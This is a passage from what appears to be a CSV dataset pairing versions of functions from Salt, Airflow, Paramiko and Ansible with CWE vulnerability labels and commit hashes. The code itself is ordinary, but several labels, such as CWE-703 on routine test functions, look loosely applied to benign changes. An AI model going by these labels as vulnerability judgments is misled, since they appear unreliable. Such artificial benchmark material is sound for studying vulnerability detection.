        ret['comment'] = 'Failed to create VPC: {0}.'.format(r['error']['message'])
        return ret

    if not r.get('exists'):
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        r = __salt__['boto_vpc.create'](cidr_block, instance_tenancy=instance_tenancy, vpc_name=name,
                                        enable_dns_support=dns_support, enable_dns_hostnames=dns_hostnames,
                                        tags=tags, region=region, key=key, keyid=keyid,
                                        profile=profile)
        if not r.get('created'):
            ret['result'] = False
            ret['comment'] = 'Error in creating VPC: {0}.'.format(r['error']['message'])
            return ret
        _describe = __salt__['boto_vpc.describe'](vpc_id=r['id'], region=region, key=key,
                                                  keyid=keyid, profile=profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = _describe
        ret['comment'] = 'VPC {0} created.'.format(name)
        return ret
    ret['comment'] = 'VPC present.'
    return ret",CWE-605,saltstack/salt,1e5e7620dd55239b802b5993cc7803dd6d84b099,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    r = __salt__['boto_vpc.exists'](name=name, tags=tags, region=region,
                                    key=key, keyid=keyid, profile=profile)

    if 'error' in r:
        ret['result'] = False
        ret['comment'] = 'Failed to create VPC: {0}.'.format(r['error']['message'])
        return ret

    if not r.get('exists'):
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        r = __salt__['boto_vpc.create'](cidr_block, instance_tenancy=instance_tenancy, vpc_name=name,
                                        enable_dns_support=dns_support, enable_dns_hostnames=dns_hostnames,
                                        tags=tags, region=region, key=key, keyid=keyid,
                                        profile=profile)
        if not r.get('created'):
            ret['result'] = False
            ret['comment'] = 'Failed to create VPC: {0}.'.format(r['error']['message'])
            return ret
        _describe = __salt__['boto_vpc.describe'](vpc_id=r['id'], region=region, key=key,
                                                  keyid=keyid, profile=profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = _describe
        ret['comment'] = 'VPC {0} created.'.format(name)
        return ret
    ret['comment'] = 'VPC present.'
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/conftest.py,0,"def pytest_addoption(parser):
    """"""
    Add options parser for custom plugins
    """"""
    group = parser.getgroup(""airflow"")
    group.addoption(
        ""--with-db-init"",
        action=""store_true"",
        dest=""db_init"",
        help=""Forces database initialization before tests"",
    )
    group.addoption(
        ""--integration"",
        action=""append"",
        metavar=""INTEGRATIONS"",
        help=""only run tests matching integration specified: ""
        ""[cassandra,kerberos,mongo,openldap,rabbitmq,redis,statsd,trino]. "",
    )
    group.addoption(
        ""--backend"",
        action=""store"",
        metavar=""BACKEND"",
        help=""only run tests matching the backend: [sqlite,postgres,mysql]."",
    )
    group.addoption(
        ""--system"",
        action=""append"",
        metavar=""SYSTEMS"",
        help=""only run tests matching the system specified [google.cloud, google.marketing_platform]"",
    )
    group.addoption(
        ""--include-long-running"",
        action=""store_true"",
        help=""Includes long running tests (marked with long_running marker). They are skipped by default."",
    )
    group.addoption(
        ""--include-quarantined"",
        action=""store_true"",
        help=""Includes quarantined tests (marked with quarantined marker). They are skipped by default."",
    )
    allowed_trace_sql_columns_list = "","".join(ALLOWED_TRACE_SQL_COLUMNS)
    group.addoption(
        ""--trace-sql"",
        action=""store"",
        help=(
            ""Trace SQL statements. As an argument, you must specify the columns to be ""
            f""displayed as a comma-separated list. Supported values: [f{allowed_trace_sql_columns_list}]""
        ),
        metavar=""COLUMNS"",
    )",CWE-Unknown,apache/airflow,eae22cec9c87e8dad4d6e8599e45af1bdd452062,"def pytest_addoption(parser):
    """"""
    Add options parser for custom plugins
    """"""
    group = parser.getgroup(""airflow"")
    group.addoption(
        ""--with-db-init"",
        action=""store_true"",
        dest=""db_init"",
        help=""Forces database initialization before tests"",
    )
    group.addoption(
        ""--integration"",
        action=""append"",
        metavar=""INTEGRATIONS"",
        help=""only run tests matching integration specified: ""
        ""[cassandra,kerberos,mongo,openldap,presto,rabbitmq,redis]. "",
    )
    group.addoption(
        ""--backend"",
        action=""store"",
        metavar=""BACKEND"",
        help=""only run tests matching the backend: [sqlite,postgres,mysql]."",
    )
    group.addoption(
        ""--system"",
        action=""append"",
        metavar=""SYSTEMS"",
        help=""only run tests matching the system specified [google.cloud, google.marketing_platform]"",
    )
    group.addoption(
        ""--include-long-running"",
        action=""store_true"",
        help=""Includes long running tests (marked with long_running marker). They are skipped by default."",
    )
    group.addoption(
        ""--include-quarantined"",
        action=""store_true"",
        help=""Includes quarantined tests (marked with quarantined marker). They are skipped by default."",
    )
    allowed_trace_sql_columns_list = "","".join(ALLOWED_TRACE_SQL_COLUMNS)
    group.addoption(
        ""--trace-sql"",
        action=""store"",
        help=(
            ""Trace SQL statements. As an argument, you must specify the columns to be ""
            f""displayed as a comma-separated list. Supported values: [f{allowed_trace_sql_columns_list}]""
        ),
        metavar=""COLUMNS"",
    )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_kex.py,0,"def asbytes(self):
        return b('fake-key')",,paramiko/paramiko,fcf56ff9f85653e48db929b4a60460beabad24de,"def asbytes(self):
        return b('fake-key')"
,UNKNOWN,UNKNOWN,tests/providers/apache/spark/hooks/test_spark_submit.py,1,"def test_resolve_connection_spark_binary_spark3_submit_set_connection(self):
        # Given
        hook = SparkSubmitHook(conn_id=""spark_binary_set_spark3_submit"")

        # When
        connection = hook._resolve_connection()
        cmd = hook._build_spark_submit_command(self._spark_job_file)

        # Then
        expected_spark_connection = {
            ""master"": ""yarn"",
            ""spark_binary"": ""spark3-submit"",
            ""deploy_mode"": None,
            ""queue"": None,
            ""namespace"": None,
        }
        assert connection == expected_spark_connection
        assert cmd[0] == ""spark3-submit""",CWE-703,apache/airflow,5d1f201bb0411d7060fd4fe49807fd49495f973e,"def test_resolve_connection_spark_binary_spark3_submit_set_connection(self):
        # Given
        hook = SparkSubmitHook(conn_id=""spark_binary_set_spark3_submit"")

        # When
        connection = hook._resolve_connection()
        cmd = hook._build_spark_submit_command(self._spark_job_file)

        # Then
        expected_spark_connection = {
            ""master"": ""yarn"",
            ""spark_binary"": ""spark3-submit"",
            ""deploy_mode"": None,
            ""queue"": None,
            ""namespace"": None,
        }
        assert connection == expected_spark_connection
        assert cmd[0] == ""spark3-submit"""
,UNKNOWN,UNKNOWN,salt/states/dockerng.py,1,"def _compare(actual, create_kwargs, defaults_from_image):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    def _get(path, default=None):
        return salt.utils.traverse_dict(actual, path, default, delimiter=':')

    def _image_get(path, default=None):
        return salt.utils.traverse_dict(defaults_from_image, path, default,
                                        delimiter=':')
    ret = {}
    for item, config in six.iteritems(VALID_CREATE_OPTS):
        try:
            data = create_kwargs[item]
        except KeyError:
            try:
                data = _image_get(config['image_path'])
            except KeyError:
                if config.get('get_default_from_container'):
                    data = _get(config['path'])
                else:
                    data = config.get('default')

        log.trace('dockerng.running: comparing ' + item)
        conf_path = config['path']
        if isinstance(conf_path, tuple):
            actual_data = [_get(x) for x in conf_path]
        else:
            actual_data = _get(conf_path, default=config.get('default'))
        log.trace('dockerng.running ({0}): desired value: {1}'
                  .format(item, data))
        log.trace('dockerng.running ({0}): actual value: {1}'
                  .format(item, actual_data))

        # 'create' comparison params
        if item == 'detach':
            # Something unique here. Two fields to check, if both are False
            # then detach is True
            actual_detach = all(x is False for x in actual_data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_detach))
            if actual_detach != data:
                ret.update({item: {'old': actual_detach, 'new': data}})
            continue

        elif item == 'environment':
            if actual_data is None:
                actual_data = []
            actual_env = {}
            for env_var in actual_data:
                try:
                    key, val = env_var.split('=', 1)
                except (AttributeError, ValueError):
                    log.warning(
                        'Unexpected environment variable in inspect '
                        'output {0}'.format(env_var)
                    )
                    continue
                else:
                    actual_env[key] = val
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_env))
            env_diff = {}
            for key in data:
                actual_val = actual_env.get(key)
                if data[key] != actual_val:
                    env_ptr = env_diff.setdefault(item, {})
                    env_ptr.setdefault('old', {})[key] = actual_val
                    env_ptr.setdefault('new', {})[key] = data[key]
            if env_diff:
                ret.update(env_diff)
            continue

        elif item == 'ports':
            # Munge the desired configuration instead of the actual
            # configuration here, because the desired configuration is a
            # list of ints or tuples, and that won't look as good in the
            # nested outputter as a simple comparison of lists of
            # port/protocol pairs (as found in the ""actual"" dict).
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_ports = sorted(actual_data)
            desired_ports = []
            for port_def in data:
                if isinstance(port_def, six.integer_types):
                    port_def = str(port_def)
                if isinstance(port_def, (tuple, list)):
                    desired_ports.append('{0}/{1}'.format(*port_def))
                elif '/' not in port_def:
                    desired_ports.append('{0}/tcp'.format(port_def))
                else:
                    desired_ports.append(port_def)
            # Ports declared in docker file should be part of desired_ports.
            desired_ports.extend([
                k for k in _image_get(config['image_path']) or [] if
                k not in desired_ports])
            desired_ports.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_ports))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_ports))
            if actual_ports != desired_ports:
                ret.update({item: {'old': actual_ports,
                                   'new': desired_ports}})
            continue
        elif item == 'volumes':
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_volumes = sorted(actual_data)
            # Volumes declared in docker file should be part of desired_volumes.
            desired_volumes = sorted(list(data) + [
                k for k in _image_get(config['image_path']) or [] if
                k not in data])

            if actual_volumes != desired_volumes:
                ret.update({item: {'old': actual_volumes,
                                   'new': desired_volumes}})

        elif item == 'binds':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_binds = []
            for bind in actual_data:
                bind_parts = bind.split(':')
                if len(bind_parts) == 2:
                    actual_binds.append(bind + ':rw')
                else:
                    actual_binds.append(bind)
            desired_binds = []
            for host_path, bind_data in six.iteritems(data):
                desired_binds.append(
                    '{0}:{1}:{2}'.format(
                        host_path,
                        bind_data['bind'],
                        'ro' if bind_data['ro'] else 'rw'
                    )
                )
            actual_binds.sort()
            desired_binds.sort()
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                   'new': desired_binds}})
                continue

        elif item == 'port_bindings':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_binds = []
            for container_port, bind_list in six.iteritems(actual_data):
                if container_port.endswith('/tcp'):
                    container_port = container_port[:-4]
                for bind_data in bind_list:
                    host_port = bind_data['HostPort']
                    if bind_data['HostIp'] in ('0.0.0.0', ''):
                        if host_port:
                            bind_def = (host_port, container_port)
                        else:
                            bind_def = (container_port,)
                    else:
                        bind_def = (bind_data['HostIp'],
                                    host_port,
                                    container_port)
                    actual_binds.append(':'.join(bind_def))

            desired_binds = []
            for container_port, bind_list in six.iteritems(data):
                try:
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                except AttributeError:
                    # The port's protocol was not specified, so it is
                    # assumed to be TCP. Thus, according to docker-py usage
                    # examples, the port was passed as an int. Convert it
                    # to a string here.
                    container_port = str(container_port)
                for bind_data in bind_list:
                    if isinstance(bind_data, tuple):
                        try:
                            host_ip, host_port = bind_data
                            host_port = str(host_port)
                        except ValueError:
                            host_ip = bind_data[0]
                            host_port = ''
                        bind_def = '{0}:{1}:{2}'.format(
                            host_ip, host_port, container_port
                        )
                    else:
                        if bind_data is not None:
                            bind_def = '{0}:{1}'.format(
                                bind_data, container_port
                            )
                        else:
                            bind_def = container_port
                    # The any address (0.0.0.0) is omitted from the
                    # actual_binds comparison key, so be sure to
                    # strip it from the desired_binds comparison
                    # key if it's included.
                    if bind_def.startswith('0.0.0.0:'):
                        bind_def = bind_def.replace('0.0.0.0:', '')
                    desired_binds.append(bind_def)
            actual_binds.sort()
            desired_binds.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_binds))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_binds))
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                   'new': desired_binds}})
                continue

        elif item == 'links':
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_links = []
            for link in actual_data:
                try:
                    link_name, alias_info = link.split(':')
                except ValueError:
                    log.error(
                        'Failed to compare link {0}, unrecognized format'
                        .format(link)
                    )
                    continue
                container_name, _, link_alias = alias_info.rpartition('/')
                if not container_name:
                    log.error(
                        'Failed to interpret link alias from {0}, '
                        'unrecognized format'.format(alias_info)
                    )
                    continue
                actual_links.append((link_name, link_alias))
            actual_links.sort()
            desired_links = sorted(data)
            if actual_links != desired_links:
                ret.update({item: {'old': actual_links,
                                   'new': desired_links}})
                continue

        elif item == 'extra_hosts':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_hosts = sorted(actual_data)
            desired_hosts = sorted(
                ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
            )
            if actual_hosts != desired_hosts:
                ret.update({item: {'old': actual_hosts,
                                   'new': desired_hosts}})
                continue

        elif item == 'dns':
            # Sometimes docker daemon returns `None` and
            # sometimes `[]`. We have to deal with it.
            if bool(actual_data) != bool(data):
                ret.update({item: {'old': actual_data, 'new': data}})

        elif item == 'dns_search':
            # Sometimes docker daemon returns `None` and
            # sometimes `[]`. We have to deal with it.
            if bool(actual_data) != bool(data):
                ret.update({item: {'old': actual_data, 'new': data}})
        elif item == 'labels':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            image_labels = _image_get(config['image_path'], default={})
            if image_labels is not None:
                image_labels = image_labels.copy()
                if isinstance(data, list):
                    data = dict((k, '') for k in data)
                image_labels.update(data)
                data = image_labels
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
                continue
        elif item == 'log_config':
            # https://github.com/saltstack/salt/issues/30577#issuecomment-238322721
            if not data.get('Config', None) and actual_data.get('Config', None):
                data['Config'] = {}
                actual_data['Config'] = {}
            if not data.get('Type', None) and actual_data.get('Type', None):
                data['Type'] = None
                actual_data['Type'] = None
            if data != actual_data:
                ret.update({item: {'old': actual_data, 'new': data}})
            continue
        elif item in ('cmd', 'command', 'entrypoint'):
            if (actual_data is None and item not in create_kwargs and
                    _image_get(config['image_path'])):
                # It appears we can't blank values defined on Image layer,
                # So ignore the diff.
                continue
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
            continue

        elif isinstance(data, list):
            # Compare two sorted lists of items. Won't work for ""command""
            # or ""entrypoint"" because those are both shell commands and the
            # original order matters. It will, however, work for ""volumes""
            # because even though ""volumes"" is a sub-dict nested within the
            # ""actual"" dict sorted(somedict) still just gives you a sorted
            # list of the dictionary's keys. And we don't care about the
            # value for ""volumes"", just its keys.
            if actual_data is None:
                actual_data = []
            actual_data = sorted(actual_data)
            desired_data = sorted(data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_data))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_data))
            if actual_data != desired_data:
                ret.update({item: {'old': actual_data,
                                   'new': desired_data}})
            continue

        else:
            # Generic comparison, works on strings, numeric types, and
            # booleans
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
    return ret",CWE-605,saltstack/salt,08095474b2e636ebdeb64b867bcaa03db90f252c,"def _compare(actual, create_kwargs, defaults_from_image):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    def _get(path, default=None):
        return salt.utils.traverse_dict(actual, path, default, delimiter=':')

    def _image_get(path, default=None):
        return salt.utils.traverse_dict(defaults_from_image, path, default,
                                        delimiter=':')
    ret = {}
    for item, config in six.iteritems(VALID_CREATE_OPTS):
        try:
            data = create_kwargs[item]
        except KeyError:
            try:
                data = _image_get(config['image_path'])
            except KeyError:
                if config.get('get_default_from_container'):
                    data = _get(config['path'])
                else:
                    data = config.get('default')

        log.trace('dockerng.running: comparing ' + item)
        conf_path = config['path']
        if isinstance(conf_path, tuple):
            actual_data = [_get(x) for x in conf_path]
        else:
            actual_data = _get(conf_path, default=config.get('default'))
        log.trace('dockerng.running ({0}): desired value: {1}'
                  .format(item, data))
        log.trace('dockerng.running ({0}): actual value: {1}'
                  .format(item, actual_data))

        # 'create' comparison params
        if item == 'detach':
            # Something unique here. Two fields to check, if both are False
            # then detach is True
            actual_detach = all(x is False for x in actual_data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_detach))
            if actual_detach != data:
                ret.update({item: {'old': actual_detach, 'new': data}})
            continue

        elif item == 'environment':
            if actual_data is None:
                actual_data = []
            actual_env = {}
            for env_var in actual_data:
                try:
                    key, val = env_var.split('=', 1)
                except (AttributeError, ValueError):
                    log.warning(
                        'Unexpected environment variable in inspect '
                        'output {0}'.format(env_var)
                    )
                    continue
                else:
                    actual_env[key] = val
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_env))
            env_diff = {}
            for key in data:
                actual_val = actual_env.get(key)
                if data[key] != actual_val:
                    env_ptr = env_diff.setdefault(item, {})
                    env_ptr.setdefault('old', {})[key] = actual_val
                    env_ptr.setdefault('new', {})[key] = data[key]
            if env_diff:
                ret.update(env_diff)
            continue

        elif item == 'ports':
            # Munge the desired configuration instead of the actual
            # configuration here, because the desired configuration is a
            # list of ints or tuples, and that won't look as good in the
            # nested outputter as a simple comparison of lists of
            # port/protocol pairs (as found in the ""actual"" dict).
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_ports = sorted(actual_data)
            desired_ports = []
            for port_def in data:
                if isinstance(port_def, six.integer_types):
                    port_def = str(port_def)
                if isinstance(port_def, (tuple, list)):
                    desired_ports.append('{0}/{1}'.format(*port_def))
                elif '/' not in port_def:
                    desired_ports.append('{0}/tcp'.format(port_def))
                else:
                    desired_ports.append(port_def)
            # Ports declared in docker file should be part of desired_ports.
            desired_ports.extend([
                k for k in _image_get(config['image_path']) or [] if
                k not in desired_ports])
            desired_ports.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_ports))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_ports))
            if actual_ports != desired_ports:
                ret.update({item: {'old': actual_ports,
                                   'new': desired_ports}})
            continue
        elif item == 'volumes':
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_volumes = sorted(actual_data)
            # Volumes declared in docker file should be part of desired_volumes.
            desired_volumes = sorted(list(data) + [
                k for k in _image_get(config['image_path']) or [] if
                k not in data])

            if actual_volumes != desired_volumes:
                ret.update({item: {'old': actual_volumes,
                                   'new': desired_volumes}})

        elif item == 'binds':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_binds = []
            for bind in actual_data:
                bind_parts = bind.split(':')
                if len(bind_parts) == 2:
                    actual_binds.append(bind + ':rw')
                else:
                    actual_binds.append(bind)
            desired_binds = []
            for host_path, bind_data in six.iteritems(data):
                desired_binds.append(
                    '{0}:{1}:{2}'.format(
                        host_path,
                        bind_data['bind'],
                        'ro' if bind_data['ro'] else 'rw'
                    )
                )
            actual_binds.sort()
            desired_binds.sort()
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                   'new': desired_binds}})
                continue

        elif item == 'port_bindings':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_binds = []
            for container_port, bind_list in six.iteritems(actual_data):
                if container_port.endswith('/tcp'):
                    container_port = container_port[:-4]
                for bind_data in bind_list:
                    host_port = bind_data['HostPort']
                    if bind_data['HostIp'] in ('0.0.0.0', ''):
                        if host_port:
                            bind_def = (host_port, container_port)
                        else:
                            bind_def = (container_port,)
                    else:
                        bind_def = (bind_data['HostIp'],
                                    host_port,
                                    container_port)
                    actual_binds.append(':'.join(bind_def))

            desired_binds = []
            for container_port, bind_list in six.iteritems(data):
                try:
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                except AttributeError:
                    # The port's protocol was not specified, so it is
                    # assumed to be TCP. Thus, according to docker-py usage
                    # examples, the port was passed as an int. Convert it
                    # to a string here.
                    container_port = str(container_port)
                for bind_data in bind_list:
                    if isinstance(bind_data, tuple):
                        try:
                            host_ip, host_port = bind_data
                            host_port = str(host_port)
                        except ValueError:
                            host_ip = bind_data[0]
                            host_port = ''
                        bind_def = '{0}:{1}:{2}'.format(
                            host_ip, host_port, container_port
                        )
                    else:
                        if bind_data is not None:
                            bind_def = '{0}:{1}'.format(
                                bind_data, container_port
                            )
                        else:
                            bind_def = container_port
                    # The any address (0.0.0.0) is omitted from the
                    # actual_binds comparison key, so be sure to
                    # strip it from the desired_binds comparison
                    # key if it's included.
                    if bind_def.startswith('0.0.0.0:'):
                        bind_def = bind_def.replace('0.0.0.0:', '')
                    desired_binds.append(bind_def)
            actual_binds.sort()
            desired_binds.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_binds))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_binds))
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                   'new': desired_binds}})
                continue

        elif item == 'links':
            if actual_data is None:
                actual_data = []
            if data is None:
                data = []
            actual_links = []
            for link in actual_data:
                try:
                    link_name, alias_info = link.split(':')
                except ValueError:
                    log.error(
                        'Failed to compare link {0}, unrecognized format'
                        .format(link)
                    )
                    continue
                container_name, _, link_alias = alias_info.rpartition('/')
                if not container_name:
                    log.error(
                        'Failed to interpret link alias from {0}, '
                        'unrecognized format'.format(alias_info)
                    )
                    continue
                actual_links.append((link_name, link_alias))
            actual_links.sort()
            desired_links = sorted(data)
            if actual_links != desired_links:
                ret.update({item: {'old': actual_links,
                                   'new': desired_links}})
                continue

        elif item == 'extra_hosts':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            actual_hosts = sorted(actual_data)
            desired_hosts = sorted(
                ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
            )
            if actual_hosts != desired_hosts:
                ret.update({item: {'old': actual_hosts,
                                   'new': desired_hosts}})
                continue

        elif item == 'dns':
            # Sometimes docker daemon returns `None` and
            # sometimes `[]`. We have to deal with it.
            if bool(actual_data) != bool(data):
                ret.update({item: {'old': actual_data, 'new': data}})

        elif item == 'dns_search':
            # Sometimes docker daemon returns `None` and
            # sometimes `[]`. We have to deal with it.
            if bool(actual_data) != bool(data):
                ret.update({item: {'old': actual_data, 'new': data}})
        elif item == 'labels':
            if actual_data is None:
                actual_data = {}
            if data is None:
                data = {}
            image_labels = _image_get(config['image_path'], default={})
            if image_labels is not None:
                image_labels = image_labels.copy()
                if isinstance(data, list):
                    data = dict((k, '') for k in data)
                image_labels.update(data)
                data = image_labels
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
                continue
        elif item in ('cmd', 'command', 'entrypoint'):
            if (actual_data is None and item not in create_kwargs and
                    _image_get(config['image_path'])):
                # It appears we can't blank values defined on Image layer,
                # So ignore the diff.
                continue
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
            continue

        elif isinstance(data, list):
            # Compare two sorted lists of items. Won't work for ""command""
            # or ""entrypoint"" because those are both shell commands and the
            # original order matters. It will, however, work for ""volumes""
            # because even though ""volumes"" is a sub-dict nested within the
            # ""actual"" dict sorted(somedict) still just gives you a sorted
            # list of the dictionary's keys. And we don't care about the
            # value for ""volumes"", just its keys.
            if actual_data is None:
                actual_data = []
            actual_data = sorted(actual_data)
            desired_data = sorted(data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                      .format(item, actual_data))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                      .format(item, desired_data))
            if actual_data != desired_data:
                ret.update({item: {'old': actual_data,
                                   'new': desired_data}})
            continue

        else:
            # Generic comparison, works on strings, numeric types, and
            # booleans
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
    return ret"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_pools.py,1,"def test_delete_should_respond_204(self, test_client, session):
        self.create_pools()
        pools = session.query(Pool).all()
        assert len(pools) == 3
        response = test_client.delete(f""/public/pools/{POOL1_NAME}"")
        assert response.status_code == 204
        pools = session.query(Pool).all()
        assert len(pools) == 2",CWE-703,apache/airflow,3a7246fcdf136b9a225b91b29aba774da8bbfeae,"def test_delete_should_respond_204(self, test_client, session):
        self.create_pools()
        pools = session.query(Pool).all()
        assert len(pools) == 3
        response = test_client.delete(f""/public/pools/{POOL1_NAME}"")
        assert response.status_code == 204
        pools = session.query(Pool).all()
        assert len(pools) == 2"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_sftp.py,0,"def test_listdir_in_locale(self, sftp):
        """"""Test listdir under a locale that uses non-ascii text.""""""
        sftp.open(sftp.FOLDER + ""/canard.txt"", ""w"").close()
        try:
            folder_contents = sftp.listdir(sftp.FOLDER)
            assert [""canard.txt""] == folder_contents
        finally:
            sftp.remove(sftp.FOLDER + ""/canard.txt"")",,paramiko/paramiko,47cfed55575c21ac558e6d00a4ab1814406be651,"def test_listdir_in_locale(self, sftp):
        """"""Test listdir under a locale that uses non-ascii text.""""""
        sftp.open(sftp.FOLDER + ""/canard.txt"", ""w"").close()
        try:
            folder_contents = sftp.listdir(sftp.FOLDER)
            self.assertEqual([""canard.txt""], folder_contents)
        finally:
            sftp.remove(sftp.FOLDER + ""/canard.txt"")"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/task.py,1,"def preprocess_data(self, ds):
        '''
        tasks are especially complex arguments so need pre-processing.
        keep it short.
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure suitable for the
        # attributes of the task class
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        # use the args parsing class to determine the action, args,
        # and the delegate_to value from the various possible forms
        # supported as legacy
        args_parser = ModuleArgsParser(task_ds=ds)
        try:
            (action, args, delegate_to) = args_parser.parse()
        except AnsibleParserError as e:
            raise AnsibleParserError(to_str(e), obj=ds)

        # the command/shell/script modules used to support the `cmd` arg,
        # which corresponds to what we now call _raw_params, so move that
        # value over to _raw_params (assuming it is empty)
        if action in ('command', 'shell', 'script'):
            if 'cmd' in args:
                if args.get('_raw_params', '') != '':
                    raise AnsibleError(""The 'cmd' argument cannot be used when other raw parameters are specified.""
                            "" Please put everything in one or the other place."", obj=ds)
                args['_raw_params'] = args.pop('cmd')

        new_ds['action']      = action
        new_ds['args']        = args
        new_ds['delegate_to'] = delegate_to

        # we handle any 'vars' specified in the ds here, as we may
        # be adding things to them below (special handling for includes).
        # When that deprecated feature is removed, this can be too.
        if 'vars' in ds:
            # _load_vars is defined in Base, and is used to load a dictionary
            # or list of dictionaries in a standard way
            new_ds['vars'] = self._load_vars(None, ds.get('vars'))
        else:
            new_ds['vars'] = dict()

        for (k,v) in iteritems(ds):
            if k in ('action', 'local_action', 'args', 'delegate_to') or k == action or k == 'shell':
                # we don't want to re-assign these values, which were
                # determined by the ModuleArgsParser() above
                continue
            elif k.replace(""with_"", """") in lookup_loader:
                self._preprocess_loop(ds, new_ds, k, v)
            else:
                # pre-2.0 syntax allowed variables for include statements at the
                # top level of the task, so we move those into the 'vars' dictionary
                # here, and show a deprecation message as we will remove this at
                # some point in the future.
                if action == 'include' and k not in self._get_base_attributes() and k not in self.DEPRECATED_ATTRIBUTES:
                    display.deprecated(""Specifying include variables at the top-level of the task is deprecated.""
                            "" Please see:\nhttp://docs.ansible.com/ansible/playbooks_roles.html#task-include-files-and-encouraging-reuse\n\n""
                            "" for currently supported syntax regarding included files and variables"")
                    new_ds['vars'][k] = v
                else:
                    new_ds[k] = v

        return super(Task, self).preprocess_data(new_ds)",CWE-703,ansible/ansible,dd15a15edc949771bde2ad2cde2c3b2f2cd8198d,"def preprocess_data(self, ds):
        '''
        tasks are especially complex arguments so need pre-processing.
        keep it short.
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure suitable for the
        # attributes of the task class
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        # use the args parsing class to determine the action, args,
        # and the delegate_to value from the various possible forms
        # supported as legacy
        args_parser = ModuleArgsParser(task_ds=ds)
        try:
            (action, args, delegate_to) = args_parser.parse()
        except AnsibleParserError as e:
            raise AnsibleParserError(to_str(e), obj=ds)

        # the command/shell/script modules used to support the `cmd` arg,
        # which corresponds to what we now call _raw_params, so move that
        # value over to _raw_params (assuming it is empty)
        if action in ('command', 'shell', 'script'):
            if 'cmd' in args:
                if args.get('_raw_params', '') != '':
                    raise AnsibleError(""The 'cmd' argument cannot be used when other raw parameters are specified.""
                            "" Please put everything in one or the other place."", obj=ds)
                args['_raw_params'] = args.pop('cmd')

        new_ds['action']      = action
        new_ds['args']        = args
        new_ds['delegate_to'] = delegate_to

